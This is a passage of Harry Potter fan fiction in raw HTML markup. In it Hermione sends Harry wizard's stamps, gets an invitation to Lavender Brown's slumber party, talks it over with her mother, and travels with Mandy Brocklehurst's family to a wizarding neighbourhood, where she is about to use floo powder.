he didn&#8217;t get a response.</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.25in;margin-bottom:0in;\nmargin-left:.25in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.25in;margin-bottom:0in;\nmargin-left:.25in;margin-bottom:.0001pt">I&#8217;m guessing that you can&#8217;t use Hedwig\nfor one reason or another.&nbsp; I hope your\naunt and uncle haven&#8217;t done anything terrible to her.&nbsp; In any case if you can&#8217;t use her to write to\nus, I&#8217;m enclosing some wizard&#8217;s stamps.&nbsp;\nAll you have to do is write a letter like normal, put it in an envelope\nand place one of these stamps on it.&nbsp; An\nowl will come to you and pick it up within a few hours.&nbsp; I hope to hear from you soon.</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.25in;margin-bottom:0in;\nmargin-left:.25in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.25in;margin-bottom:0in;\nmargin-left:.25in;margin-bottom:.0001pt">Love from,</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.25in;margin-bottom:0in;\nmargin-left:.25in;margin-bottom:.0001pt">Hermione&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She re-read the\nletter she had just written, making sure it didn&#8217;t sound too panicked or\nworried.&nbsp; She put four wizard&#8217;s stamps in\nthe envelope.&nbsp; That was half the stamps\nshe had left.&nbsp; She then took one of her\nremaining stamps and placed it on the envelope for her letter to Harry.&nbsp; There was no chance she&#8217;d risk sending her\nletter with Erroll.&nbsp; She then took out\nanother piece of parchment and wrote a quick note to Ron telling him that she&#8217;d\nsent a letter to Harry and that hopefully they&#8217;d both get a reply soon.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; It took Erroll\nseveral hours to recover and by the time he left with her letter to Ron, the\npost owl that magically responded to the wizard&#8217;s stamp had also come and\ngone.&nbsp; Hermione&#8217;s mom appeared from the\nkitchen and called her to dinner.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Busy post day?&#8221;\nMrs. Granger said as the three of them sat down to dinner.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes, I just got\na letter from Ron.&nbsp; Harry hasn&#8217;t written\neither of us yet this summer.&nbsp; I think\nmaybe they&#8217;re keeping him from using his owl somehow.&nbsp; They might have him locked up again.&nbsp; I hope he&#8217;s okay.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Barbaric,&#8221; Mr.\nGranger muttered.&nbsp; Ever since Hermione\nhad told her parents about Harry&#8217;s home life, her father in particular had been\nangered at how supposedly civilized people could treat a child in such a\nway.&nbsp; Hermione had always gotten the\nimpression before that her father thought Harry to be a bad influence at\nschool, but now he seemed to have lightened up on the issue and she was glad\nfor that.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well dear,&#8221; Mrs.\nGranger said encouragingly. &#8220;From what you&#8217;ve told us, Harry is quite capable\nof taking care of himself.&nbsp; I&#8217;m sure he\ncan handle whatever his aunt and uncle throw at him.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione nodded\nnumbly, imagining Harry in a small locked cupboard, getting very little to eat\nand having to live with spiders and no light. &#8220;I guess; I just worry about\nhim.&nbsp; I just sent him an owl today with\nsome stamps.&nbsp; If he can&#8217;t use Hedwig, at\nleast he can use the stamps to write us letters.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You know, not to\nsound &#8216;anti-wizard&#8217; but perhaps there is a more, shall we say, technological\nsolution to your problem here,&#8221; Her father said knowingly.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione gave him\na quizzical look. &#8220;What do you mean?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mr. Granger laughed\nand waved a fork haphazardly towards the wall. &#8220;The phone,\nHermione, the phone.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione raised a\nhand to her head. &#8220;I never thought of that.&nbsp;\nHarry and I are both from muggle families.&nbsp; We both have phones.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What will those\nmuggles think of next,&#8221; Mrs. Granger laughed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Never forget\nthat there are still some useful things in the non-wizarding world, Hermione.&#8221;\nMr. Granger said seriously.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;In any case, I&#8217;m\nsure you&#8217;ll hear from Harry soon.&#8221; Just as Mrs. Granger said this, there was a\nlight tapping on the window.&nbsp; All three\nturned to see a small brown owl with red highlights at the kitchen window.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Uh,&#8221; Hermione\nlooked around at her parents.&nbsp; Her father\nlooked annoyed at the fact that an owl was disturbing their dinner.&nbsp; It tapped at the window again and seeing as\nhow she had no choice, Hermione went for the window and let it in.&nbsp; The owl had a sparkling blue letter tied to\nits leg.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione was\nabout to bring it back with her when her father gave her a curt, &#8220;No owls at\nthe table while we&#8217;re eating.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh fine,&#8221;\nHermione took the letter from the owl and let it out the window again.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Who is it from?&#8221;\nMrs. Granger asked as Hermione returned to her seat.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I don&#8217;t know,&#8221; she\nsaid examining the envelope, which only had her name on it.&nbsp; Wizarding letters rarely had return addresses\non them. &#8220;It can&#8217;t be from Harry.&nbsp; I just\nwrote him a couple of hours ago.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well go ahead\nand open it, seeing as our dinner&#8217;s already been\ndisturbed,&#8221; her father said with a bite of impatience.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione tried\nher best not to roll her eyes as she opened the envelope.&nbsp; What happened when she did was truly\nunexpected.&nbsp; Music exploded from the envelope\nand soon there was a voice to match.&nbsp; It\nsounded like some sort of cheesy commercial.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Feeling like you\nhave nothing to do over the summer holidays?&nbsp;\nCan&#8217;t use magic, can&#8217;t visit Diagon Alley, can&#8217;t\neven go see a quidditch game?&nbsp; Well your\nboredom days are about to end because Lavender Brown is throwing a party and <i style="mso-bidi-font-style:normal">you&#8217;re</i> invited.&nbsp; That&#8217;s right!&nbsp;\nIt&#8217;s going to be 18 hours of non stop girl fun.&nbsp; Not to be missed! So be there or be hexed!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Just as quickly\nas it started, it ended.&nbsp; The music\nstopped and the envelope fluttered down to the tabletop, dormant.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Uh&#8230;&#8221; Hermione glanced\nfrom her mother to her father, waiting for some sort of response.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mr. Granger had a\nlook on his face that clearly indicated he had seen one too many surprising\nthings that day.&nbsp; He stared blankly for a\nmoment and then, as if nothing had happened, turned to his daughter and said,\n&#8220;Would you please pass the butter?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione didn&#8217;t\nhesitate to comply and then silently returned to her food, eating as fast as\nshe possibly could now.&nbsp; She wanted to\navoid the inevitable conversation that would occur when her parents finally got\nover the initial shock.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She wasn&#8217;t fast\nenough. &#8220;Well,&#8221; Mrs. Granger started finally. &#8220;It&#8217;d be nice to get out of the\nhouse wouldn&#8217;t it?&nbsp; See some of your\nother friends.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione\nshrugged. &#8220;Um, I guess.&#8221; She started shoveling food into her mouth much faster\nnow.&nbsp; Her mother gave her a quizzical\nlook.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well if you ask\nme, the time could be better spent studying.&#8221; Mr. Granger said irritably. &nbsp;&nbsp;&nbsp;&nbsp; &#8220;Just because it&#8217;s\nsummer doesn&#8217;t mean your mind should be on vacation.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh dear&#8230;&#8221; her\nmother sighed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Dad&#8217;s probably\nright,&#8221; Hermione agreed hastily. &#8220;I mean I already had Anne over, and I&#8217;m\nplanning to go to Ron&#8217;s for Harry&#8217;s birthday.&nbsp;\nDon&#8217;t want to overdo it.&#8221; She threw her napkin down on the table. &#8220;Can I\nbe excused?&#8221; She grabbed the letter and headed out the kitchen without another\nword.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">------</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione lay on her\nbed, examining the envelope from Lavender.&nbsp;\nShe found that inside there was an actual piece of parchment, giving all\nthe information about the party.&nbsp; It was\ngoing to be July 24, a week before Harry&#8217;s birthday, at 3 PM.&nbsp; From what she guessed it was some sort of\nslumber party that would last until 9 AM the following morning and the guest\nlist seemed to include Gryffindor, Ravenclaw, and Hufflepuff girls; primarily\nthe ones going into second year.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Of course there\nwas no reason why she couldn&#8217;t go.&nbsp;\nDespite what her father had said at the dinner table, she knew she could\nconvince him to let her go.&nbsp; Being top of\nher class last year had earned her a few perks and she was doing her best to\nexploit her father&#8217;s generous mood as often as possible.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; No, it wasn&#8217;t\nthat. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Though her school\nexperience was far better than her primary school days, she still wasn&#8217;t\nexactly the most liked person at Hogwarts.&nbsp;\nMostly, her classmates just tolerated her; she suspected this was mainly\nbecause she was one of Harry Potter&#8217;s best friends.&nbsp; She got along with her roommates well enough,\nbut they were far from close.&nbsp; Ever since\nthe beginning of the school year, Parvati had been trying to get in Harry&#8217;s\ngood graces with no success.&nbsp; So of\ncourse when Hermione and Harry suddenly became best friends, it sent her\nroommate into a frenzy and Hermione immediately became\nthe most envied and hated first year girl in the entire school.&nbsp; It was a little known fact that you never\ncrossed a Patil twin, unless you wanted wild rumors spread about you all over\nschool.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ever since then,\nHermione&#8217;s social status had been a roller coaster of ups and downs.&nbsp; There were times when her roommates wouldn&#8217;t\neven speak to her and other times when they would fawn over her as if she were\na celebrity.&nbsp; They were definitely fickle\nand Hermione couldn&#8217;t stand fickle people.&nbsp;\nShe knew the only reason she got this invitation was because they were\nstill glowing over the fact that Hermione helped Gryffindor win the house cup\nand also because she helped Harry save the Sorcerer&#8217;s Stone from Voldemort.&nbsp; Otherwise, even if she and her roommates were\non speaking terms, she probably still wouldn&#8217;t have gotten invited.</p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Why should I go hang out with my flakey\nroommates and a bunch of girls who&#8217;ve barely said two words to me all year?&#8221;</i>\nshe thought to herself.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; There was a knock\non her door. &#8220;Hermione?&#8221; It was her mother.&nbsp; Mrs. Granger opened the door, not bothering\nto wait for her daughter&#8217;s response.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No, I don&#8217;t want\nto talk about it,&#8221; Hermione said immediately as her mother took a seat beside\nher on the bed. &#8220;You wouldn&#8217;t understand.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione,\nbelieve it or not, I was a kid once too and I went through the same problems\nyou did when it came down to making friends, you know.&nbsp; Remember, you get part of your &#8216;challenging&#8217;\npersonality from me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione could\nnever understand how her sweet, caring, and extremely patient mother could have\never been anything like her when she was younger.&nbsp; She always imagined that she took after her\nfather in that respect, but her father apparently never had any problems making\nfriends even though he was just as big a know-it-all in his youth as she was\nnow.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She sighed. &#8220;It&#8217;s\njust&#8230; Lavender, I mean I don&#8217;t think she really wants me at her party.&#8221;</p>\n\n<p class="MsoNormal">&#8220;Oh then why would she invite you then?&#8221; Mrs. Granger asked\nmatter-of-factly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Because I&#8217;m\n&#8216;Hermione Granger&#8217; the girl who saved Harry Potter&#8217;s life, and helped save the\nSorcerer&#8217;s Stone from Voldemort, and helped win the house cup,&#8221; she said in\nexasperation. &#8220;She <i style="mso-bidi-font-style:normal">has</i> to invite me.&nbsp; I&#8217;m popular now, or at least until everyone\nforgets what happens in a few months.&nbsp;\nThen I&#8217;ll probably have to save the school from a dragon to get people\nto like me again.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So what you&#8217;re\nsaying is, you don&#8217;t want to go because they&#8217;re only\ninviting you because you&#8217;re popular?&#8221; Mrs. Granger summed up. &#8220;You know, I\nremember a year ago you would have died to have this kind of popularity.</p>\n\n<p class="MsoNormal">&#8220;This isn&#8217;t what I wanted,&#8221; Hermione almost shouted. &#8220;I\ndon&#8217;t want to just be popular.&nbsp; I mean;\nmost of those girls don&#8217;t even know me other than the rumors and stories that&#8217;ve been flying around.&nbsp;\nIt&#8217;s not like they&#8217;re really my friends like Harry is.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well Hermione,\nif I&#8217;m not mistaken, the only way you can get to know someone is by being\naround them.&nbsp; So these girls aren&#8217;t your\nfriends now, but that doesn&#8217;t mean they couldn&#8217;t become your friends after\nspending a little time with you.&#8221; She took the invitation off the bed and\nperused it quickly.&nbsp; &#8220;See, a slumber\nparty is the perfect opportunity for some quality girl bonding.&nbsp; You can show them what the real Hermione is\nlike.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh you mean the\nbossy, know-it-all, stuffy Hermione that we all know and love?&#8221; Hermione said\nhuffily.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You must have\nsome good qualities in there somewhere; why else would Harry be your friend?&#8221;</p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Drat!</i>&#8221; she hated it when her mother\nused logic against her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, how am I\ngoing to get to this party anyway,&#8221; She pointed to the address on the\ninvitation. &#8220;Lavender doesn&#8217;t live close.&nbsp;\nYou and Dad&#8217;ll be at work.&nbsp; It&#8217;s not like I can use magic to get there,\neven if I knew a way to do it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mrs. Granger\nrubbed her daughter&#8217;s bushy brown hair lovingly. &#8220;Hermione, you&#8217;re a clever\nlittle witch.&nbsp; I&#8217;m sure you&#8217;ll think of\nsomething.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; That was her last\nobjection. &#8220;Well, I guess&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione, you\ndon&#8217;t have to go but&#8230;&#8221; her mother grinned. &#8220;I can&#8217;t see why you wouldn&#8217;t want\nto.&nbsp; This is a chance for you to show\nthem what you&#8217;re really like, and maybe make a few new friends in the process.&nbsp; I think you could use a few female\nfriends.&#8221;&nbsp; With that, her mother stood\nand left the room.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione sighed\nand looked down at the invitation again.&nbsp;\nCould she really survive eighteen hours with Lavender, the Patil twins\nand a bunch of giggling girls who would probably spend all their time talking\nabout Hogwarts&#8217; boys?&nbsp; Then again, she\nhad to live with Lavender and Parvati for six more school terms.&nbsp; It would be beneficial to be on good terms\nwith them.&nbsp; And maybe her mother was\nright.&nbsp; Maybe she could make some new\nfemale friends.&nbsp; Not every Hogwarts girl\nwas like Lavender and Parvati, right?</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She turned the\ninvitation over where there was a form for her to RSVP.&nbsp; She grabbed the quill from her desk and\nquickly scribbled her reply and a quick note to Lavender saying she would need\na &#8216;lift&#8217; to the party.&nbsp; She placed a\nwizard&#8217;s stamp on the invitation and waited for an owl to come pick it up.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As she lay in\nbed, Hermione thought about how her holiday had turned out so far.&nbsp; She thought she would be spending the whole\nsummer studying for the following school term, but as it was, she hadn&#8217;t even\ntouched the extra research that McGonagall had sent her.&nbsp; She felt like she was being extremely\nlazy.&nbsp; Well even with Lavender&#8217;s party in\na few days and visiting Ron the following week for Harry&#8217;s birthday, she&#8217;d\nstill have the whole month of August to study.&nbsp;\nThat should be enough.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Just as she was\nabout to prepare for bed, she heard the tale-tell tapping on her bedroom\nwindow.&nbsp; The post owl had come for her\nreply to Lavender.&nbsp; It left a few minutes\nlater with the parchment clamped firmly in its beak.&nbsp; Hermione sighed again as she watched the owl\nglide through the night sky.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; That following\nFriday morning, Hermione was double checking her bag to make sure she had\neverything.&nbsp; She packed a set of pajamas,\na pillow, a set of clothes for the next day, and a\nswimsuit, because Lavender&#8217;s invitation had mentioned something about going in\ntheir pool.&nbsp; She made sure not to bring\nany of her school books.&nbsp; The last thing\nshe wanted them to think was that she was always studying, even if that was\nfairly true.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Instead she\ndecided to bring some of things she got from the Wizard&#8217;s World Fair including\nher charcoal portrait and the Gilderoy Lockhart book she bought and already\nread half of during the past few days.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Her mother and\nfather had of course left earlier that morning wishing her well on her\ntrip.&nbsp; Lavender had written back earlier\nthat week to let her know that a Ravenclaw first year girl, Mandy Brocklehurst,\nlived very close to her and her family agreed to handle transporting Hermione\nto the party.&nbsp; Mandy herself had written\nthe day before to tell her that they would be arriving at 2:30 on Friday.&nbsp; All the arrangements had been made. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione had\nnever met Mandy before but when the doorbell rang at 2:30 and Hermione opened\nthe door, she immediately recognized the short, long-haired, brunette that\nstood there.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hi Hermione,&#8221;\nshe said with a wide grin. &#8220;My folks are just out in the car waiting.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Car?&#8221; Hermione repeated vaguely.&nbsp; She didn&#8217;t know that wizard&#8217;s drove\ncars.&nbsp; Wasn&#8217;t that strictly a muggle\ndevice?&nbsp; But before she could question\nfurther, Mandy was already headed back to what was indeed a small, four-door\nblue car.&nbsp; Hermione grabbed her bag and\nkeys and rushed towards the open car door.&nbsp;\nShe climbed in and slammed the door behind her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hi there,&#8221; A\nwoman, who was obviously Mandy&#8217;s mother called from the front passenger seat.\n&#8220;It&#8217;s nice to meat you, Hermione.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mr. Brocklehurst\nwas at the wheel. &#8220;It&#8217;ll only take us a few minutes to get back to the\nhouse.&nbsp; Then you girls can floo to the\nBrown&#8217;s.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Thanks for\npicking me up, Mr. and Mrs. Brocklehurst,&#8221; Hermione said politely.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Not a problem\ndear,&#8221; Mrs. Brocklehurst. &#8220;We witches and wizards have to stick together; don&#8217;t\nwe now?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mandy&#8217;s parents\nwere soon engaged in their own conversation giving Hermione the chance to lean\nover and have a hushed conversation with Mandy.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You&#8217;re parents\naren&#8217;t muggles are they?&nbsp; I mean they\ndon&#8217;t act like it, but&#8230; this car?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mandy let out a\ngiggle. &#8220;Oh no, they&#8217;re magic for sure, it&#8217;s just my father&#8217;s job.&nbsp; He has to work with muggles a lot so he knows\na lot about them and he has muggle transportation so he can fit in.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Really?&#8221; Hermione was intrigued. &#8220;What does your dad do?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;He&#8217;s a type of\nwizard investigator.&nbsp; Basically, he hunts\ndown and retrieves magical items that have fallen into muggle hands.&nbsp; He&#8217;s an independent but he does get a lot of\njobs from the ministry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;And you live\nnear here?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, sort\nof.&nbsp; We live on Turnkey Lane,&#8221; Mandy told\nher.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Turnkey\nLane?&nbsp; I&#8217;ve never heard of it.&nbsp; How far is it from here?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well it&#8217;s kind\nof hard to explain.&nbsp; Pretty much all\nstreets around here connect to Turnkey Lane.&nbsp;\nIt&#8217;s one of the more accessible wizarding neighborhoods in the\narea.&nbsp; It&#8217;s really nice, we just moved\nthere three years ago.&nbsp; We lived in Godric&#8217;s Hollow before that but I definitely have more\nfriends here.&#8221; Mandy was interrupted by a jarring bump and a brief flash. &#8220;Oh\nwe&#8217;re here.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione stared\nout the window, upset that she had missed whatever the Brocklehursts had done\nto make the transition to Turnkey Lane.&nbsp;\nAll of the houses looked fairly normal to her, like standard suburban muggle\narchitecture.&nbsp; It was hard to believe\nthat this was a wizarding neighborhood until she saw some small children\nplaying outside on what looked like miniature broomsticks.&nbsp; Hermione strongly suspected that even though\nthe outside of the houses looked normal, the interiors were a different story.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She would soon be\nable to test this theory because a few seconds later the Brocklehursts pulled\ninto the driveway of a small one story house with lime colored aluminum siding.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mandy led\nHermione inside the house, but at first sight, there wasn&#8217;t anything\nparticularly odd about the d&#233;cor.&nbsp; The sitting\nroom could definitely pass for muggle if it weren&#8217;t for the green fire that was\nblazing in the fireplace and the owl sleeping on a tall perch in a corner.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; There was also\nthe clock on the wall, or what looked like a clock except it seemed to do\neverything except tell time.&nbsp; It had\nthree rings of what would normally be numbers and three hands to go with each\nring.&nbsp; The outermost ring seemed to be\nthe closest to actually telling time as it had small phrases on it like &#8220;time\nfor dinner,&#8221; &#8220;don&#8217;t forget the promise you made,&#8221; and &#8220;you&#8217;re almost\nlate.&#8221;&nbsp; The middle ring had small\npictures on it that were used to indicate the current weather.&nbsp; The innermost ring had short phrases as well\nand from what Hermione could tell, it was some sort of home security system\nbecause they said things like &#8220;All Secure,&#8221; &#8220;Uninvited Stranger in House,&#8221; and\n&#8220;Emergency!&#8221;&nbsp; Currently the clock&#8217;s hands\nwere set to &#8220;You&#8217;re Almost Late,&#8221; a picture of the\nsun, indicating nice weather, and &#8220;Family and Guests in Home.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mrs. Brocklehurst\nglanced at the clock Hermione had been staring at. &#8220;Oh dear,&#8221; she looked at her\nown watch. &#8220;You girls are almost late for the party.&nbsp; Mandy, dear, go on and grab your bag.&nbsp; Hermione do you want to call your parents\nbefore you go?&nbsp; I doubt the Browns will\nhave a muggle telephone.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione nodded\nbut was confused when Mrs. Brocklehurst handed her the phone off the coffee\ntable. &#8220;There&#8217;s no phone line connected to this.&#8221; She picked up the receiver\nand there was indeed a dial tone &#8220;How is it working?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Muggle phone\ncompanies don&#8217;t know about this place, of course,&#8221; Mr. Brocklehurst explained.\n&#8220;So we make it work with magic.&nbsp; Beats paying the bloody phone bills.&#8221; He gave a hearty\nchuckle. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione dialed\nher parent&#8217;s office and got the receptionist.&nbsp;\nAfter a few minutes on hold, her mother picked up. &#8220;Hi mum, just wanted\nyou to know that I&#8217;m about to floo to Lavender&#8217;s so I probably won&#8217;t talk to\nyou again until tomorrow morning.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Her mother\nanswered with a &#8220;Have fun, dear&#8221; just as Mandy was coming down the stairs.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione said a\nquick goodbye and then proceeded to the fireplace with Mandy.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mrs. Brocklehurst\ncame from the kitchen with a small container. &#8220;Now Hermione, do you know how\nfloo powder works?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh yes ma&#8217;am, I\nread all about it in &#8216;Magical Transportation in the 20th Century,&#8217;&#8221;\nHermione said before she could stop herself. <i style="mso-bidi-font-style:\nnormal">&#8220;Stupid, stupid, stupid,&#8221;</i> she chastised mentally. <i style="mso-bidi-font-style:normal">&#8220;I&#8217;ve got to stop doing that!&#8221;</i> She was\nof course nervous seeing as how this was the first time she&#8217;d actually used\nfloo powder.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well then,&#8221; Mrs.\nBrocklehurst said. &#8220;All you need to know is that when you use the powder say\n&#8216;The Browns&#8217; because that&#8217;s where you&#8217;re going.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione nodded\nas Mandy, who had already taken some of the powder, stepped up to the fireplace\nand threw it in.&nbsp; The green flames seemed\nto jump with new life and now had a hint of blue and yellow in them.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She stepped\nboldly into the fire and shouted &#8220;The Browns.&#8221; and disappeared in a mixture of\nfire and smoke.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione\nhesitantly took a pinch of floo powder and proceeded towards the fireplace. She\nthrew it in and once again, the flames seemed to jump with new life.&nbsp; She really hated the idea of walking directly\ninto a roaring fire but not wanting to seem like she didn&#8217;t 